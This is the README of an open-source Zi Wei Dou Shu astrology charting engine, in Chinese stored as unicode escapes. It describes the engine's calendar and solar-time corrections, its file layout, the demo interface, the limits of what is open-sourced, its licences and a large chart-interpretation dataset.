\n\n\u6ce8\u610f\uff1a\u5f00\u6e90\u7248\u4e0d\u542b\u540e\u7aef API \u8def\u7531\u3002\u6392\u76d8\u3001\u547d\u76d8\u5c55\u793a\u3001\u5408\u76d8\u8d77\u76d8\u90fd\u5728\u6d4f\u89c8\u5668\u91cc\u7528\u672c\u4ed3\u5e93\u7684\u5f15\u64ce\u5b8c\u6210\uff0c\u4e0d\u9700\u8981\u4efb\u4f55 API Key\u3002AI \u89e3\u8bfb\uff08
\n/api/interpret\uff09\u548c\u5408\u76d8 AI \u5206\u6790\uff08/api/heming\uff09\u9700\u8981\u4f60\u81ea\u5df1\u5b9e\u73b0\u63a5\u53e3\uff1b\u6ca1\u5b9e\u73b0\u4e4b\u524d\uff0c\u8fd9\u4e24\u5904\u4f1a\u76f4\u63a5\u63d0\u793a\u300c\u5f00\u6e90\u7248\u4e0d\u542b\u8be5\u63a5\u53e3\u300d\uff0c\u914d\u7f6e API Key \u4e5f\u4e0d\u4f1a\u53d8\u6210\u53ef\u7528\uff08#30 \u5c31\u662f\u8fd9\u4e2a\u539f\u56e0\uff09\u3002
\u6392\u76d8\u5185\u6838\u5168\u90e8\u5728 lib/ziwei/\u3002
| \u80fd\u529b | \n\u8bf4\u660e | \n
|---|---|
| \u771f\u592a\u9633\u65f6\u6821\u6b63 | \n\u6309\u51fa\u751f\u5730\u7ecf\u5ea6\u7b97\u65f6\u5dee + \u5747\u65f6\u5dee\uff0c\u907f\u514d\u4e1c\u897f\u5411\u5dee\u4e00\u4e2a\u65f6\u8fb0 | \n
| \u4e2d\u56fd\u590f\u4ee4\u65f6 | \n1986\u20131991 \u5e74\u7684\u590f\u4ee4\u65f6\u533a\u95f4\u81ea\u52a8\u6263\u9664 | \n
| \u95f0\u6708\u56db\u79cd\u53e3\u5f84 | \n\u95f0\u6708\u5f52\u524d\u6708 / \u5f52\u540e\u6708 / \u6309\u65e5\u5207\u5206 / \u6309\u672c\u6708\uff0c\u53ef\u914d\u7f6e\uff0c\u4e0d\u5199\u6b7b\u4e00\u6d3e | \n
| \u665a\u5b50\u65f6\u6362\u65e5 | \n23:00\u201323:59 \u6309\u6b21\u65e5\u6392\u76d8\u300100:00\u201300:59 \u6309\u672c\u65e5\uff1b\u6362\u65e5\u7b56\u7565\u53ef\u5207\u6362 | \n
| \u661f\u66dc\u4eae\u5ea6 7 \u6863 | \n\u5e99 / \u65fa / \u5f97 / \u5229 / \u5e73 / \u4e0d / \u9677\uff0c\u53e6\u4fdd\u7559 3 \u6863\u7c97\u5206\u7c7b\u505a\u663e\u793a\u964d\u7ea7 | \n
| \u4eae\u5ea6\u6d41\u6d3e\u53ef\u5207\u6362 | \n\u4e0d\u540c\u6d41\u6d3e\uff08\u542b\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u7684\u4e0d\u540c\u7248\u672c\uff09\u5bf9\u8f85\u661f\u4eae\u5ea6\u5224\u6cd5\u4e0d\u4e00\u81f4\uff0c\u505a\u6210\u5f00\u5173\u800c\u975e\u5199\u6b7b | \n
| \u56db\u5316\u4e0e\u98de\u661f | \n\u751f\u5e74\u56db\u5316\u3001\u5927\u9650 / \u6d41\u5e74\u56db\u5316\u3001\u98de\u661f\u81ea\u5316 | \n
| \u5341\u4e8c\u795e\u715e | \n\u672c\u547d\u5c42\u6309\u751f\u5e74\u652f\u8d77\uff0c\u6d41\u5e74\u5c42\u6539\u6309\u6d41\u5e74\u652f\u8d77 | \n
| \u683c\u5c40\u5224\u5b9a | \n1100+ \u884c\u89c4\u5219\u5e93\uff08\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\uff09 | \n
| \u6587\u4ef6 | \n\u8bf4\u660e | \n
|---|---|
algorithm.ts | \n \u5b8c\u6574\u6392\u76d8\u6d41\u7a0b\uff1a\u5b89\u547d\u5bab\u3001\u5b9a\u4e94\u884c\u5c40\u3001\u5b89\u5341\u56db\u4e3b\u661f\u3001\u5b89\u8f85\u661f\u3001\u6392\u5927\u9650\u6d41\u5e74 | \n
constants.ts | \n \u5929\u5e72\u5730\u652f\u3001\u5341\u56db\u4e3b\u661f\u3001\u8f85\u661f\u5e38\u91cf | \n
sihua.ts | \n \u56db\u5316\u98de\u661f\u7cfb\u7edf\uff08\u7984\u6743\u79d1\u5fcc\uff09\uff0c\u542b\u5404\u5929\u5e72\u56db\u5316\u5bf9\u7167\u8868 | \n
patterns.ts | \n 1100+ \u884c\u683c\u5c40\u77e5\u8bc6\u5e93\uff1a\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\u7ecf\u5178\u683c\u5c40\u5224\u5b9a\u89c4\u5219 | \n
heming-knowledge.ts | \n \u5408\u76d8\u65b9\u6cd5\u8bba\uff1a\u502a\u5e08\u4f53\u7cfb\u4e0b\u53cc\u76d8\u6bd4\u5bf9\u903b\u8f91 | \n
types.ts | \n TypeScript \u7c7b\u578b\u5b9a\u4e49 | \n
cities.ts | \n \u4e2d\u56fd\u57ce\u5e02\u7ecf\u7eac\u5ea6\uff0c\u7528\u4e8e\u771f\u592a\u9633\u65f6\u6821\u6b63 | \n
famous.ts | \n \u5386\u53f2\u540d\u4eba\u547d\u76d8\u793a\u4f8b\u6570\u636e | \n
school-data.ts / school-tables.generated.ts / school-config.ts | \n \u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e | \n
shier-shen.ts | \n \u5341\u4e8c\u795e\u715e\uff08\u672c\u547d\u6309\u751f\u5e74\u652f\u8d77\u3001\u6d41\u5e74\u5c42\u6309\u6d41\u5e74\u652f\u8d77\uff09 | \n
true-solar-time.ts | \n \u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09 | \n
dst-cn.ts | \n \u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6\u5e74\u4efd\u4e0e\u533a\u95f4 | \n
yunxian-context.ts | \n \u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\u5904\u7406\uff09 | \n
lunar-solar.ts | \n \u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp | \n
lib/classics/\uff09gusuifu.ts\uff09\u2014 \u7d2b\u5fae\u6597\u6570\u6838\u5fc3\u6b4c\u8bc0quanji.ts\uff09\u2014 \u6e05\u4ee3\u53e4\u672cquanshu.ts\uff09\u2014 \u9648\u5e0c\u5937\u4f20\u672clib/seo/\uff0914 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\u7684\u7ed3\u6784\u5316\u77e5\u8bc6\u6570\u636e\uff0c\u53ef\u7528\u4e8e\u5185\u5bb9\u751f\u6210\u6216\u77e5\u8bc6\u5e93\u6784\u5efa\u3002
\n![\"\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u4e00\u56fe\u770b\u5168\"](\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/overview.png\")
\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u7d2b\u5fae\u6597\u6570\u90e8\u5206\u7684\u539f\u8bdd\u5171 1848 \u6761\uff1a\u6b63\u8bfe 14 \u8bb2\uff08\u7b2c 2\u201315 \u8bb2\u4e0a\u534a\uff09\u52a0 2 \u6bb5\u8865\u5145\uff0c\u6309\u8bb2\u5206\u6210 16 \u4e2a\u6587\u4ef6\uff0c\u653e\u5728 docs/tianji-ziwei/\u3002\u6bcf\u6761\u90fd\u5e26\u51fa\u5904\u65f6\u95f4\uff0c\u70b9\u4e00\u4e0b\u5c31\u8df3\u56de B \u7ad9\u539f\u89c6\u9891\u7684\u90a3\u4e00\u79d2\u3002
\u754c\u9762\u4ee3\u7801\u5728 app/ \u4e0e components/\u3002\u4ed3\u5e93\u91cc\u7684\u754c\u9762\u662f\u4e00\u5957\u6700\u5c0f\u53ef\u8fd0\u884c\u793a\u4f8b\uff0c\u4f5c\u7528\u662f\u628a\u6392\u76d8\u5f15\u64ce\u8dd1\u8d77\u6765\u3001\u628a\u76d8\u753b\u51fa\u6765\uff0c\u65b9\u4fbf\u4f60\u5728\u5b83\u57fa\u7840\u4e0a\u505a\u81ea\u5df1\u7684\u4ea7\u54c1\u3002\u7ebf\u4e0a\u5546\u4e1a\u7248\u7684\u754c\u9762\u4e0d\u5728\u5f00\u6e90\u8303\u56f4\u5185\uff0c\u4e24\u8005\u5dee\u8ddd\u5f88\u5927\uff1a
| \u9875\u9762 / \u7ec4\u4ef6 | \n\u672c\u4ed3\u5e93\uff08Demo\uff09 | \n\u7ebf\u4e0a\u5546\u4e1a\u7248 | \n
|---|---|---|
\u6392\u76d8\u9875 app/chart/page.tsx | \n 75 \u884c | \n1227 \u884c | \n
\u89e3\u8bfb\u9762\u677f InsightPanel | \n 467 \u884c | \n5088 \u884c | \n
\u547d\u76d8\u65b9\u683c ChartBoard | \n 285 \u884c | \n1334 \u884c | \n
\u5bab\u4f4d\u683c PalaceCell | \n 201 \u884c | \n1192 \u884c | \n
\u5408\u76d8\u9875 app/heming/page.tsx | \n 368 \u884c | \n1937 \u884c | \n
Demo \u80fd\u8dd1\u901a\u7684\uff1a\u51fa\u751f\u4fe1\u606f\u8868\u5355\u3001\u547d\u76d8\u65b9\u683c\u4e0e\u5bab\u4f4d\u8be6\u60c5\u3001\u672c\u547d / \u5927\u9650 / \u6d41\u5e74\u5207\u6362\u3001\u53e4\u7c4d\u9605\u8bfb\u5668\uff08\u5168\u6587\u641c\u7d22\uff09\u3001\u547d\u7406\u767e\u79d1\uff0814 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\uff09\u3001\u4eae\u6697\u4e3b\u9898\u3001\u79fb\u52a8\u7aef\u9002\u914d\u3002
\nDemo \u91cc\u6ca1\u6709\u7684\uff1a\u7ebf\u4e0a\u91cd\u505a\u8fc7\u7684\u4ea4\u4e92\u754c\u9762\u3001AI \u6d41\u5f0f\u89e3\u8bfb\u3001\u5408\u76d8\u56fe\u8c31\u3001\u5206\u4eab\u5361\u7247\uff0c\u4ee5\u53ca\u65ad\u8bed\u5185\u5bb9\u672c\u8eab\uff08db-analysis.ts \u662f\u5360\u4f4d\u5b9e\u73b0\uff09\u3002\u4e5f\u5c31\u662f\u8bf4\uff0cDemo \u753b\u5f97\u51fa\u76d8\uff0c\u4f46\u7ed9\u4e0d\u51fa\u7ebf\u4e0a\u90a3\u5957\u89e3\u8bfb\u3002
| \n | \u5185\u5bb9 | \n
|---|---|
| \u2705 \u5f00\u6e90 | \n\u6392\u76d8\u5f15\u64ce\uff08lib/ziwei/\uff09\u3001\u53e4\u7c4d\u516c\u7248\u539f\u6587\uff08lib/classics/\uff09\u3001SEO \u77e5\u8bc6\u56fe\u8c31\uff08lib/seo/\uff09\u3001Demo \u754c\u9762\u300151.8 \u4e07\u6837\u672c\u6570\u636e\u96c6\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 | \n
| \u274c \u4e0d\u5f00\u6e90 | \n\u65ad\u8bed\u5e93\uff08lib/ziwei/db-analysis.ts \u662f\u5360\u4f4d\uff0c\u7ebf\u4e0a\u662f\u4e0a\u4e07\u884c\u7684 13 \u4e3b\u9898\u65ad\u8bed\uff09\u3001AI \u89e3\u8bfb prompt\u3001\u540e\u7aef API\uff08/api/interpret \u7b49\uff09\u3001\u7528\u6237\u7cfb\u7edf\uff08\u767b\u5f55 / \u4f1a\u5458 / \u652f\u4ed8\uff09\u3001\u670d\u52a1\u7aef\u5b89\u5168\uff08\u7b7e\u540d\u3001\u9632\u5237\u3001\u6c34\u5370\uff09\u3001\u90e8\u7f72\u914d\u7f6e | \n
\u5982\u679c\u4f60\u9700\u8981 AI \u89e3\u8bfb\u80fd\u529b\uff0c\u53ef\u4ee5\u53c2\u8003 lib/ziwei/patterns.ts \u548c heming-knowledge.ts \u91cc\u7684\u77e5\u8bc6\u5e93\uff0c\u7ed3\u5408\u4efb\u610f LLM \u81ea\u884c\u6784\u5efa prompt\u3002
\u8fd9\u4e2a\u4ed3\u5e93\u662f\u6392\u76d8\u5f15\u64ce + \u6570\u636e\u96c6\u7684\u5f00\u653e\u5feb\u7167\uff0c\u4e0d\u662f\u4e00\u4e2a\u5168\u804c\u7ef4\u62a4\u7684\u5f00\u6e90\u4ea7\u54c1\uff0c\u8bf4\u6e05\u695a\u514d\u5f97\u5927\u5bb6\u731c\uff1a
\nlib/ziwei/ \u7684\u5f15\u64ce\u5c42\u5e76\u6253 tag\uff1b\u65ad\u8bed\u5e93\u3001AI \u89e3\u8bfb\u3001\u5546\u4e1a\u7ad9\u524d\u7aef\u4e0d\u5728\u540c\u6b65\u8303\u56f4\u5185\u3002\u672c\u4ed3\u5e93\u5206\u56db\u90e8\u5206\u6388\u6743\u3002\u524d\u4e09\u90e8\u5206\u662f\u5bbd\u677e\u534f\u8bae\uff0c\u5546\u7528\u6ca1\u6709\u9650\u5236\uff1b\u502a\u5e08\u539f\u8bdd\u76ee\u5f55\u4e0d\u8bb8\u5546\u7528\uff1a
\n| \u5185\u5bb9 | \n\u534f\u8bae | \n\u7b80\u5355\u8bf4 | \n
|---|---|---|
\u4ee3\u7801\uff08lib/\u3001app/\u3001components/\uff09 | \n MIT License | \n\u62ff\u53bb\u968f\u4fbf\u7528\uff0c\u4fdd\u7559 LICENSE \u6587\u4ef6\u5373\u53ef | \n
| \u6570\u636e\uff08Releases \u4e2d\u7684 51.8 \u4e07\u6837\u672c\u6570\u636e\u96c6 v3.0\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff09 | \nCC BY 4.0 \u00b7 \u8981\u6c42 attribution | \n\u5546\u7528\u4e5f\u884c\uff0c\u6ce8\u660e\u6570\u636e\u6765\u6e90\u5373\u53ef | \n
| \u53e4\u7c4d\u539f\u6587\uff08\u9aa8\u9ad3\u8d4b\u3001\u7d2b\u5fae\u6597\u6570\u5168\u96c6 / \u5168\u4e66\u7b49\uff09 | \nPublic Domain | \n\u53e4\u4e66\u90fd\u662f\u516c\u6709\u9886\u57df\uff0c\u4e0d\u5b58\u5728\u7248\u6743 | \n
\u502a\u5e08\u539f\u8bdd\uff08docs/tianji-ziwei/\uff09 | \n CC BY-NC-SA 4.0 | \n\u53ef\u4ee5\u5f15\u7528\u3001\u8f6c\u8f7d\uff0c\u6ce8\u660e\u51fa\u5904\uff1b\u4e0d\u8bb8\u5546\u7528\uff0c\u6539\u7f16\u540e\u7528\u540c\u6837\u534f\u8bae | \n
\u4e00\u53e5\u8bdd\uff1a\u4ee3\u7801\u548c\u6570\u636e\u62ff\u53bb\u7528\uff0c\u5546\u7528\u4e5f\u884c\uff0c\u628a\u6765\u6e90\u94fe\u63a5\u5e26\u4e0a\u5c31\u884c\uff1b\u502a\u5e08\u539f\u8bdd\u53ea\u9650\u975e\u5546\u4e1a\u7684\u5b66\u4e60\u7814\u7a76\uff08\u6570\u636e\u96c6\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u540c\u6837\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff09\u3002
\n\u89c1\u672c\u9875\u5f00\u5934\u3002\u60f3\u81ea\u5df1\u642d\uff1f\u4ee3\u7801\u90fd\u5728\u8fd9\u91cc\uff0c\u62ff\u53bb\u7528\u3002\u5acc\u9ebb\u70e6\uff1f\u6765 metisziwei.com \u76f4\u63a5\u7528\u3002
\n\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6392\u76d8\u5f15\u64ce \u2014 \u57fa\u4e8e\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u4f53\u7cfb\uff0c\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e
https://metisziwei.com/?from=gh-about
\u4e2d\u6587 \u00b7 English
\n\u4e00\u3001\u9879\u76ee\u7406\u5ff5\uff1a\u7d2b\u5fae\u6597\u6570\u662f\u4e2d\u56fd\u4f20\u7edf\u547d\u7406\u5b66\u7684\u7470\u5b9d\uff0c\u502a\u6d77\u53a6\u8001\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u7cfb\u7edf\u68b3\u7406\u4e86\u6b63\u5b97\u7684\u7d2b\u5fae\u6597\u6570\u4f53\u7cfb\u3002\u6211\u4eec\u5e0c\u671b\u901a\u8fc7\u6280\u672f\u624b\u6bb5\u8ba9\u66f4\u591a\u4eba\u63a5\u89e6\u548c\u5b66\u4e60\u8fd9\u95e8\u5b66\u95ee\u3002
\n\u5f00\u6e90\u6392\u76d8\u7b97\u6cd5\u548c\u77e5\u8bc6\u5e93\uff0c\u662f\u56e0\u4e3a\u6211\u4eec\u76f8\u4fe1\uff1a\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc\u3002\u771f\u6b63\u7684\u4ef7\u503c\u5728\u4e8e\u89e3\u8bfb\u7684\u6df1\u5ea6\u3001\u7528\u6237\u4f53\u9a8c\u7684\u6253\u78e8\u3001\u4ee5\u53ca\u6301\u7eed\u8fd0\u8425\u7684\u79ef\u7d2f\u3002
\n\u4e8c\u3001\u9879\u76ee\u4fe1\u606f\uff1a\u57fa\u4e8e\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u6559\u5b66\u4f53\u7cfb\u7684\u7d2b\u5fae\u6597\u6570\u6392\u76d8\u7cfb\u7edf\uff0c\u5305\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e\uff0c\u4ee5\u53ca\u4e00\u5957\u5b8c\u6574\u5f00\u6e90\u7684\u7d2b\u5fae\u6597\u6570\u89e3\u8bfb\u6570\u636e\uff1av4.0 \u89e3\u8bfb\u6570\u636e\u96c6\u2014\u201467.5 \u4e07\u5f20\u547d\u76d8 \u00d7 13 \u7ef4 = 877 \u4e07\u6bb5\u89e3\u8bfb\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\uff0c\u89e3\u538b\u540e 56.6 GB\uff082026-10-15 \u53d1\u5e03\uff09\u3002
\n| \u6570\u636e\u96c6 | \n\u547d\u76d8 | \n\u89e3\u8bfb\u6bb5\u6570 | \n\u89e3\u538b\u540e | \n\u8986\u76d6\u5e74\u4efd | \n\u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570 | \n
|---|---|---|---|---|---|
| v4.0 \u89e3\u8bfb\u6570\u636e\u96c6\uff082026-10-15\uff09 | \n674,976 | \n8,774,688 | \n56.6 GB | \n1950\u20132026\uff08\u53ea\u542b\u771f\u5b9e\u65e5\u671f\uff09 | \n\u7ea6 3.0 \u4e07\u5b57 | \n
| v3.0 \u6837\u672c\u6570\u636e\u96c6 | \n518,400 | \n6,739,200 | \n33.1 GB | \n1924\u20131983 | \n\u7ea6 2.1 \u4e07\u5b57 | \n
| \u53d8\u5316 | \n+30% | \n+30% | \n+71% | \n+17 \u5e74 | \n+44% | \n
v3.0 \u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570\u6309 2,160 \u5f20\u76d8\u62bd\u6837\u4f30\u7b97\uff0c\u5176\u4f59\u6570\u5b57\u4e3a\u5168\u91cf\u7edf\u8ba1\uff1b\u4e24\u7248\u6bcf\u5f20\u76d8\u90fd\u662f 13 \u7ef4\u3002
\n\u5728\u7ebf\u4f53\u9a8c\uff1ametisziwei.com\uff0c\u6392\u76d8\u3001AI \u89e3\u8bfb\u3001\u547d\u76d8\u5386\u53f2\u5168\u90e8\u5f00\u653e\u3002
\n\n\n\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad
\n\u7d2b\u5fae\u6597\u6570\u5728\u516d\u4eb2\uff08\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u7b49\uff09\u5224\u65ad\u4e0a\u5b58\u5728\u4e00\u5b9a\u5c40\u9650\u3002\u502a\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u6307\u51fa\uff1a\u201c\u6597\u6570\u6279\u516d\u4eb2\u672c\u6765\u5c31\u6bd4\u8f83\u5dee\u4e00\u70b9\u3002\u201d\uff082\u4e0a \u00b7 00:25:27\uff09\u5728\u4f20\u7edf\u672f\u6570\u4e2d\uff0c\u94c1\u677f\u795e\u6570\u5728\u6838\u5bf9\u516d\u4eb2\u65b9\u9762\u6709\u5176\u72ec\u7279\u4f18\u52bf\uff082\u4e0a \u00b7 00:03:15\uff09\uff1b\u502a\u5e08\u4ecd\u4ee5\u7d2b\u5fae\u6597\u6570\u4e3a\u6838\u5fc3\uff0c\u662f\u56e0\u4e3a\u5b83\u80fd\u7ed3\u5408\u5730\u7406\u3001\u73af\u5883\u4e0e\u4eba\u4e8b\u8fdb\u884c\u7efc\u5408\u5224\u65ad\uff0c\u5f62\u6210\u201c\u4e0a\u77e5\u5929\u6587\u3001\u4e0b\u77e5\u5730\u7406\u3001\u4e2d\u77e5\u4eba\u4e8b\u201d\u7684\u5b8c\u6574\u4f53\u7cfb\uff082\u4e0a \u00b7 00:25:43\uff09\u3002\u56e0\u6b64\uff0c\u4e0e\u516d\u4eb2\u76f8\u5173\u7684\u5206\u6790\u4ec5\u4f9b\u53c2\u8003\uff1bmetisziwei.com \u4e0a\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u4e09\u4e2a\u7ef4\u5ea6\u4e5f\u9644\u6709\u540c\u6837\u7684\u8bf4\u660e\u3002
\n
| \n | \u7ae0\u8282 | \n\u4e00\u53e5\u8bdd | \n
|---|---|---|
| \u4e00 | \n\u672c\u8f6e\u66f4\u65b0 | \n13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u9010\u53e5\u6821\u6b63\uff0c\u53d1\u5e03 67.5 \u4e07\u547d\u76d8 \u00d7 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 | \n
| \u4e8c\u00b7\u65b0 | \n13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 | \n2026-10-15 \u65b0\u7248\u65ad\u8bed\uff0c67.5 \u4e07\u547d\u76d8\uff0c\u6309\u5e74\u4efd\u4e0b\u8f7d | \n
| \u4e8c | \n51.8 \u4e07\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6 | \n\u89c4\u683c\u3001\u4e0b\u8f7d\u3001\u7528\u9014\u3001\u8bb8\u53ef | \n
| \u4e09 | \n\u5feb\u901f\u5f00\u59cb | \n\u514b\u9686\u5230\u8dd1\u8d77\u6765 | \n
| \u56db | \n\u6392\u76d8\u5f15\u64ce | \n\u80fd\u505a\u5230\u4ec0\u4e48\u3001\u6587\u4ef6\u600e\u4e48\u5206\u3001\u53e4\u7c4d\u6570\u636e | \n
| \u4e94 | \n\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd | \n14 \u8bb2 + 2 \u6bb5\u8865\u5145\u30011848 \u6761\uff0c\u4e00\u56fe\u770b\u5168\uff0c\u6bcf\u6761\u53ef\u56de\u653e | \n
| \u516d | \n\u754c\u9762\u662f\u4e00\u4efd Demo | \n\u4e0d\u662f\u7ebf\u4e0a\u90a3\u5957\uff0c\u5dee\u8ddd\u5199\u660e | \n
| \u4e03 | \n\u5f00\u6e90\u8fb9\u754c | \n\u4ec0\u4e48\u5f00\u6e90\u3001\u4ec0\u4e48\u4e0d\u5f00\u6e90 | \n
| \u516b | \n\u7ef4\u62a4\u8282\u594f\u4e0e\u8d21\u732e | \n\u540c\u6b65\u8282\u594f\u3001issue / PR \u53e3\u5f84 | \n
| \u4e5d | \n\u534f\u8bae | \n\u4ee3\u7801 MIT / \u6570\u636e CC BY 4.0 / \u53e4\u7c4d\u516c\u7248 / \u502a\u5e08\u539f\u8bdd\u975e\u5546\u7528 | \n
| \u5341 | \n\u5173\u4e8e\u4e0e\u8054\u7cfb | \n\u9879\u76ee\u7406\u5ff5\u3001\u6280\u672f\u6808\u3001\u8054\u7cfb\u65b9\u5f0f | \n
\u672c\u8f6e\u8ddf\u968f\u7f51\u7ad9 2026-10-15 \u53d1\u7248\uff08\u7f51\u7ad9\u5185\u5bb9\u7248\u672c ca268829f7a9\uff09\uff1a
1. \u53d1\u5e03 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 \u2014\u2014 674,976 \u5f20\u547d\u76d8\uff08\u516c\u5386 1950\u20132026 \u5e74\u6bcf\u4e00\u4e2a\u771f\u5b9e\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09\u00d7 13 \u7ef4 = 8,774,688 \u6bb5\u89e3\u8bfb\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\u3002\u89e3\u538b\u540e 56.6 GB\uff08v3.0 \u4e3a 33.1 GB\uff0c\u589e\u52a0 71%\uff09\uff0c\u538b\u7f29\u540e\u53ea\u6709 161 MB\uff0c\u6309\u5e74\u4efd\u5206 77 \u4e2a\u6587\u4ef6\uff0c\u53ef\u4ee5\u53ea\u4e0b\u9700\u8981\u7684\u5e74\u4efd\uff0c\u4e5f\u53ef\u4ee5\u4e00\u6b21\u4e0b\u5168\u5e74\u4efd\u603b\u5305\u3002\u4e0b\u8f7d\u89c1 Release v4.0-13d\uff0c\u89c4\u683c\u548c\u5b57\u6bb5\u89c1\u7b2c\u4e8c\u00b7\u65b0\u7ae0\u3002\u53d1\u5e03\u524d 77 \u4e2a\u6587\u4ef6\u9010\u4e2a\u89e3\u538b\uff0c\u4e0e\u539f\u59cb\u6570\u636e\u9010\u5b57\u8282\u6bd4\u5bf9\u4e00\u81f4\u3002
\n2. 13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63\uff08\u65ad\u8bed\u5e93\u4ecd\u4e0d\u5f00\u6e90\uff0c\u6821\u6b63\u7ed3\u679c\u4f53\u73b0\u5728 v4.0 \u6570\u636e\u96c6\u91cc\uff09\uff1a
\n3. \u6392\u76d8\u5f15\u64ce\u540c\u6b65\uff08PR #39\uff09\u2014\u2014 dst-cn.ts \u65b0\u589e chinaDSTSpan(year)\uff0c\u67e5\u67d0\u5e74\u4e2d\u56fd\u590f\u4ee4\u65f6\u8d77\u6b62\uff1bcities.ts \u8865\u5168\u7701\u76f4\u8f96\u53bf\u7ea7\u5355\u4f4d\u4e0e\u65b0\u7586\u5175\u56e2\u5404\u5e02\u7684\u7ecf\u5ea6\uff08\u795e\u519c\u67b6\u3001\u6d77\u5357\u5404\u5e02\u53bf\u3001\u963f\u62c9\u5c14\u7b49\uff09\uff0c\u51fa\u751f\u5730\u9009\u8fd9\u4e9b\u57ce\u5e02\u65f6\u771f\u592a\u9633\u65f6\u6821\u6b63\u53ef\u7528\u3002
4. \u8bb8\u53ef \u2014\u2014 DATASET-LICENSE \u9002\u7528\u8303\u56f4\u52a0\u4e0a v4.0\uff1b\u5199\u660e\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff0c\u4e0e\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 CC BY-NC-SA 4.0 \u4e00\u81f4\u3002v3.0 \u6837\u672c\u6570\u636e\u96c6\u53ca\u5176\u6761\u6b3e\u4e0d\u53d8\u3002
\n\n2026-10-24 \u8865\u5145\uff1a\u9879\u76ee\u7406\u5ff5\u79fb\u5230\u9875\u9996\u2014\u2014\u6807\u9898\u4e0b\u5c45\u4e2d\u4e00\u53e5\u300c\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc\u300d\uff0c\u7d27\u63a5\u4e24\u6bb5\u7406\u5ff5\u539f\u6587\uff08\u524d\u6807\u300c\u9879\u76ee\u7406\u5ff5\u300d\uff09\uff0c\u539f\u6709\u4ecb\u7ecd\u6bb5\u524d\u6807\u300c\u9879\u76ee\u4fe1\u606f\u300d\uff1b\u7b2c\u5341\u7ae0\u300c\u9879\u76ee\u7406\u5ff5\u300d\u6539\u4e3a\u6307\u5411\u9875\u9996\u3002
\n
